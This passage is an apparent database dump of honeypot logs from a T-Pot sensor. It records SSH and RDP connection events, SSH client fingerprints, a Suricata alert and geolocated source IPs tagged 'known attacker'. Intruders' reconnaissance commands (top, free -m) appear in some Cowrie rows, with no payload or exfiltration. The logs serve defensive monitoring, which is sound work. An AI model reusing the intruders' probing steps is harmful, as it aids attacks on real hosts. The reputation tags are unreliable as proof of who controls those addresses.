22, "timestamp": "2021-09-20T11:04:27.779992Z", "@timestamp": "2021-09-20T11:04:27.779Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
20539	176.60.208.43	109.199.241.180	Cowrie	2021-09-20 14:04:27.138271+03	2021-09-20 14:15:02.499644+03	{"_id": "egXgAnwBvYTbRNuE7_k0", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 2, "type": "Cowrie", "geoip": {"ip": "176.60.208.43", "asn": 25106, "as_org": "Mobile TeleSystems JLLC", "latitude": 53.0, "location": {"lat": 53.0, "lon": 28.0}, "timezone": "Europe/Minsk", "longitude": 28.0, "country_name": "Belarus", "country_code2": "BY", "country_code3": "BY", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420", "src_ip": "176.60.208.43", "ttylog": "log/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420 after 0 seconds", "session": "838e205c7ce9", "@version": "1", "duration": 0.1519463062286377, "duplicate": true, "timestamp": "2021-09-20T11:04:27.138271Z", "@timestamp": "2021-09-20T11:04:27.138Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
20540	119.29.153.168	109.199.241.180	Cowrie	2021-09-20 14:04:27.782545+03	2021-09-20 14:15:02.500643+03	{"_id": "ewXgAnwBvYTbRNuE7_k0", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "119.29.153.168", "asn": 45090, "as_org": "Shenzhen Tencent Computer Systems Company Limited", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "119.29.153.168", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "91c258bcd7a6", "@version": "1", "timestamp": "2021-09-20T11:04:27.782545Z", "@timestamp": "2021-09-20T11:04:27.782Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
21467	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:06:55.436176+03	2021-09-20 14:15:03.703642+03	{"_id": "cQbjAnwBvYTbRNuEMgQC", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "aa9bc632d545", "@version": "1", "duration": 2.827177047729492, "timestamp": "2021-09-20T11:06:55.436176Z", "@timestamp": "2021-09-20T11:06:55.436Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
20541	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:04:27.504177+03	2021-09-20 14:15:02.501647+03	{"_id": "gAXgAnwBvYTbRNuE7_k1", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "119.29.153.168", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 50734, "timestamp": "2021-09-20T11:04:27.504177", "@timestamp": "2021-09-20T11:04:27.504Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
20542	119.29.153.168	109.199.241.180	Fatt	2021-09-20 14:04:27.781999+03	2021-09-20 14:15:02.503614+03	{"_id": "gQXgAnwBvYTbRNuE7_k1", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "119.29.153.168", "asn": 45090, "as_org": "Shenzhen Tencent Computer Systems Company Limited", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "119.29.153.168", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 50734, "dest_port": 22, "timestamp": "2021-09-20T11:04:27.781999", "@timestamp": "2021-09-20T11:04:27.781Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
20543	176.60.208.43	109.199.241.180	Cowrie	2021-09-20 14:04:27.355128+03	2021-09-20 14:15:02.504643+03	{"_id": "ggXgAnwBvYTbRNuE7_k1", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-nios-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "176.60.208.43", "asn": 25106, "as_org": "Mobile TeleSystems JLLC", "latitude": 53.0, "location": {"lat": 53.0, "lon": 28.0}, "timezone": "Europe/Minsk", "longitude": 28.0, "country_name": "Belarus", "country_code2": "BY", "country_code3": "BY", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "176.60.208.43", "eventid": "cowrie.session.params", "message": [], "session": "838e205c7ce9", "@version": "1", "timestamp": "2021-09-20T11:04:27.355128Z", "@timestamp": "2021-09-20T11:04:27.355Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
20544	176.60.208.43	109.199.241.180	Cowrie	2021-09-20 14:04:27.355683+03	2021-09-20 14:15:02.506651+03	{"_id": "gwXgAnwBvYTbRNuE7_k1", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "176.60.208.43", "asn": 25106, "as_org": "Mobile TeleSystems JLLC", "latitude": 53.0, "location": {"lat": 53.0, "lon": 28.0}, "timezone": "Europe/Minsk", "longitude": 28.0, "country_name": "Belarus", "country_code2": "BY", "country_code3": "BY", "continent_code": "EU"}, "input": "top", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "176.60.208.43", "eventid": "cowrie.command.input", "message": "CMD: top", "session": "838e205c7ce9", "@version": "1", "timestamp": "2021-09-20T11:04:27.355683Z", "@timestamp": "2021-09-20T11:04:27.355Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
20545	119.29.153.168	109.199.241.180	Cowrie	2021-09-20 14:04:27.502051+03	2021-09-20 14:15:02.507643+03	{"_id": "hAXgAnwBvYTbRNuE7_k1", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "119.29.153.168", "asn": 45090, "as_org": "Shenzhen Tencent Computer Systems Company Limited", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "119.29.153.168", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "91c258bcd7a6", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:04:27.502051Z", "@timestamp": "2021-09-20T11:04:27.502Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
20558	61.133.192.126	109.199.241.180	Fatt	2021-09-20 14:04:31.846245+03	2021-09-20 14:15:02.523613+03	{"_id": "sAXgAnwBvYTbRNuE__kH", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "src_ip": "61.133.192.126", "dest_ip": "192.168.20.116", "@version": "1", "fatt_rdp": {"requestedProtocols": "0x00000003"}, "protocol": "rdp", "src_port": 60548, "dest_port": 3389, "timestamp": "2021-09-20T11:04:31.846245", "@timestamp": "2021-09-20T11:04:31.846Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	rdp	\N	\N	\N	\N
20546	176.60.208.43	109.199.241.180	Cowrie	2021-09-20 14:04:27.505843+03	2021-09-20 14:15:02.508642+03	{"_id": "hQXgAnwBvYTbRNuE7_k1", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 44, "type": "Cowrie", "geoip": {"ip": "176.60.208.43", "asn": 25106, "as_org": "Mobile TeleSystems JLLC", "latitude": 53.0, "location": {"lat": 53.0, "lon": 28.0}, "timezone": "Europe/Minsk", "longitude": 28.0, "country_name": "Belarus", "country_code2": "BY", "country_code3": "BY", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39", "src_ip": "176.60.208.43", "ttylog": "log/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39 after 0 seconds", "session": "838e205c7ce9", "@version": "1", "duration": 0.1508007049560547, "duplicate": true, "timestamp": "2021-09-20T11:04:27.505843Z", "@timestamp": "2021-09-20T11:04:27.505Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
20547	176.60.208.43	109.199.241.180	Cowrie	2021-09-20 14:04:28.192745+03	2021-09-20 14:15:02.509644+03	{"_id": "hgXgAnwBvYTbRNuE8vnP", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 74, "type": "Cowrie", "geoip": {"ip": "176.60.208.43", "asn": 25106, "as_org": "Mobile TeleSystems JLLC", "latitude": 53.0, "location": {"lat": 53.0, "lon": 28.0}, "timezone": "Europe/Minsk", "longitude": 28.0, "country_name": "Belarus", "country_code2": "BY", "country_code3": "BY", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15", "src_ip": "176.60.208.43", "ttylog": "log/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15 after 0 seconds", "session": "838e205c7ce9", "@version": "1", "duration": 0.1508030891418457, "duplicate": true, "timestamp": "2021-09-20T11:04:28.192745Z", "@timestamp": "2021-09-20T11:04:28.192Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
20548	176.60.208.43	109.199.241.180	Cowrie	2021-09-20 14:04:28.042023+03	2021-09-20 14:15:02.510642+03	{"_id": "jQXgAnwBvYTbRNuE8vnP", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-nios-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "176.60.208.43", "asn": 25106, "as_org": "Mobile TeleSystems JLLC", "latitude": 53.0, "location": {"lat": 53.0, "lon": 28.0}, "timezone": "Europe/Minsk", "longitude": 28.0, "country_name": "Belarus", "country_code2": "BY", "country_code3": "BY", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "176.60.208.43", "eventid": "cowrie.session.params", "message": [], "session": "838e205c7ce9", "@version": "1", "timestamp": "2021-09-20T11:04:28.042023Z", "@timestamp": "2021-09-20T11:04:28.042Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
20549	176.60.208.43	109.199.241.180	Cowrie	2021-09-20 14:04:28.533185+03	2021-09-20 14:15:02.511642+03	{"_id": "iQXgAnwBvYTbRNuE8vnP", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 26, "type": "Cowrie", "geoip": {"ip": "176.60.208.43", "asn": 25106, "as_org": "Mobile TeleSystems JLLC", "latitude": 53.0, "location": {"lat": 53.0, "lon": 28.0}, "timezone": "Europe/Minsk", "longitude": 28.0, "country_name": "Belarus", "country_code2": "BY", "country_code3": "BY", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851", "src_ip": "176.60.208.43", "ttylog": "log/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851 after 0 seconds", "session": "838e205c7ce9", "@version": "1", "duration": 0.15097737312316895, "duplicate": true, "timestamp": "2021-09-20T11:04:28.533185Z", "@timestamp": "2021-09-20T11:04:28.533Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
20550	176.60.208.43	109.199.241.180	Cowrie	2021-09-20 14:04:29.769171+03	2021-09-20 14:15:02.513642+03	{"_id": "kgXgAnwBvYTbRNuE9vm3", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-nios-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "176.60.208.43", "asn": 25106, "as_org": "Mobile TeleSystems JLLC", "latitude": 53.0, "location": {"lat": 53.0, "lon": 28.0}, "timezone": "Europe/Minsk", "longitude": 28.0, "country_name": "Belarus", "country_code2": "BY", "country_code3": "BY", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "176.60.208.43", "eventid": "cowrie.session.params", "message": [], "session": "838e205c7ce9", "@version": "1", "timestamp": "2021-09-20T11:04:29.769171Z", "@timestamp": "2021-09-20T11:04:29.769Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
20551	176.60.208.43	109.199.241.180	Cowrie	2021-09-20 14:04:29.090228+03	2021-09-20 14:15:02.514642+03	{"_id": "mQXgAnwBvYTbRNuE9vm3", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "176.60.208.43", "asn": 25106, "as_org": "Mobile TeleSystems JLLC", "latitude": 53.0, "location": {"lat": 53.0, "lon": 28.0}, "timezone": "Europe/Minsk", "longitude": 28.0, "country_name": "Belarus", "country_code2": "BY", "country_code3": "BY", "continent_code": "EU"}, "input": "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "176.60.208.43", "eventid": "cowrie.command.input", "message": "CMD: free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'", "session": "838e205c7ce9", "@version": "1", "timestamp": "2021-09-20T11:04:29.090228Z", "@timestamp": "2021-09-20T11:04:29.090Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
20552	176.60.208.43	109.199.241.180	Cowrie	2021-09-20 14:04:29.583227+03	2021-09-20 14:15:02.515642+03	{"_id": "lgXgAnwBvYTbRNuE9vm3", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 50, "type": "Cowrie", "geoip": {"ip": "176.60.208.43", "asn": 25106, "as_org": "Mobile TeleSystems JLLC", "latitude": 53.0, "location": {"lat": 53.0, "lon": 28.0}, "timezone": "Europe/Minsk", "longitude": 28.0, "country_name": "Belarus", "country_code2": "BY", "country_code3": "BY", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0", "src_ip": "176.60.208.43", "ttylog": "log/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0 after 0 seconds", "session": "838e205c7ce9", "@version": "1", "duration": 0.1516282558441162, "duplicate": true, "timestamp": "2021-09-20T11:04:29.583227Z", "@timestamp": "2021-09-20T11:04:29.583Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
20553	107.189.30.211	109.199.241.180	Suricata	2021-09-20 14:04:31.268613+03	2021-09-20 14:15:02.516651+03	{"_id": "pQXgAnwBvYTbRNuE_fm3", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:04:31.268613+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 62}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA STREAM Packet with broken ack", "signature_id": 2210051}, "geoip": {"ip": "107.189.30.211", "asn": 394844, "as_org": "Root Level Technology, LLC", "dma_code": 759, "latitude": 41.1034, "location": {"lat": 41.1034, "lon": -104.9059}, "timezone": "America/Denver", "city_name": "Cheyenne", "longitude": -104.9059, "postal_code": "82001", "region_code": "WY", "region_name": "Wyoming", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "107.189.30.211", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 737786978048325, "payload": "", "@version": "1", "in_iface": "enp5s0", "src_port": 24861, "dest_port": 22, "timestamp": "2021-09-20T11:04:31.268613Z", "@timestamp": "2021-09-20T11:04:31.268Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	known attacker	\N
20554	176.60.208.43	109.199.241.180	Cowrie	2021-09-20 14:04:31.126787+03	2021-09-20 14:15:02.517643+03	{"_id": "pgXgAnwBvYTbRNuE_vmJ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-nios-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "176.60.208.43", "asn": 25106, "as_org": "Mobile TeleSystems JLLC", "latitude": 53.0, "location": {"lat": 53.0, "lon": 28.0}, "timezone": "Europe/Minsk", "longitude": 28.0, "country_name": "Belarus", "country_code2": "BY", "country_code3": "BY", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "176.60.208.43", "eventid": "cowrie.session.params", "message": [], "session": "838e205c7ce9", "@version": "1", "timestamp": "2021-09-20T11:04:31.126787Z", "@timestamp": "2021-09-20T11:04:31.126Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
20555	176.60.208.43	109.199.241.180	Cowrie	2021-09-20 14:04:31.127329+03	2021-09-20 14:15:02.519614+03	{"_id": "pwXgAnwBvYTbRNuE_vmJ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "176.60.208.43", "asn": 25106, "as_org": "Mobile TeleSystems JLLC", "latitude": 53.0, "location": {"lat": 53.0, "lon": 28.0}, "timezone": "Europe/Minsk", "longitude": 28.0, "country_name": "Belarus", "country_code2": "BY", "country_code3": "BY", "continent_code": "EU"}, "input": "top", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "176.60.208.43", "eventid": "cowrie.command.input", "message": "CMD: top", "session": "838e205c7ce9", "@version": "1", "timestamp": "2021-09-20T11:04:31.127329Z", "@timestamp": "2021-09-20T11:04:31.127Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
